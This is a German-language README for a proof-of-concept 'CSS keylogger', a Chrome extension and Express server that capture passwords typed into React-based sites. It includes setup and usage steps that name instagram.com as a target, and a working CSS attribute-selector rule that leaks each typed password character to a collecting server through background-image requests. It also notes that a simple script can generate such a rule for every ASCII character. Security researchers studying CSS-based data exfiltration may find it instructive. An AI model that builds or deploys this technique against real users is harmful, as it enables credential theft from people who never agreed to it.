CSS-Keylogger

Chrome-Erweiterung und Express-Server, die die Keylogging-Fähigkeiten von CSS ausnutzen.

Verwendung

Chrome-Erweiterung einrichten

1. Repository herunterladen git clone https://github.com/maxchehab/CSS-Keylogging
2. Rufen Sie chrome://extensions in Ihrem Browser auf (oder öffnen Sie das Chrome-Menü, indem Sie auf das Symbol ganz rechts in der Omnibox klicken: Das Menüsymbol besteht aus drei horizontalen Strichen. Wählen Sie dann unter dem Menü 'Weitere Tools' die Option 'Erweiterungen' aus, um zum selben Ort zu gelangen).
3. Stellen Sie sicher, dass das Kontrollkästchen 'Entwicklermodus' in der oberen rechten Ecke aktiviert ist.
4. Klicken Sie auf Entpackte Erweiterung laden…, um einen Dateiauswahldialog zu öffnen.
5. Wählen Sie den Ordner css-keylogger-extension in dem Verzeichnis aus, in das Sie dieses Repository heruntergeladen haben.

Express-Server einrichten

1. yarn
2. yarn start

Haxking l33t passw0rds

1. Öffnen Sie eine Website, die ein kontrolliertes Komponenten-Framework wie React verwendet. https://instagram.com.
2. Drücken Sie die Erweiterung C oben rechts auf einer beliebigen Webseite.
3. Geben Sie Ihr Passwort ein.
4. Ihr Passwort sollte vom Express-Server erfasst werden.

Wie es funktioniert

Dieser Angriff ist wirklich einfach. Durch die Verwendung von CSS-Attributselektoren können Ressourcen von einem externen Server unter dem Vorwand des Ladens eines background-image angefordert werden.

Zum Beispiel wählt das folgende CSS alle Eingabefelder (inputs) mit einem type gleich password und einem value, das mit a endet, aus. Es wird dann versuchen, ein Bild von http://localhost:3000/a zu laden.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Mit einem einfachen Skript kann man eine CSS-Datei erstellen, die für jedes ASCII-Zeichen eine benutzerdefinierte Anfrage sendet.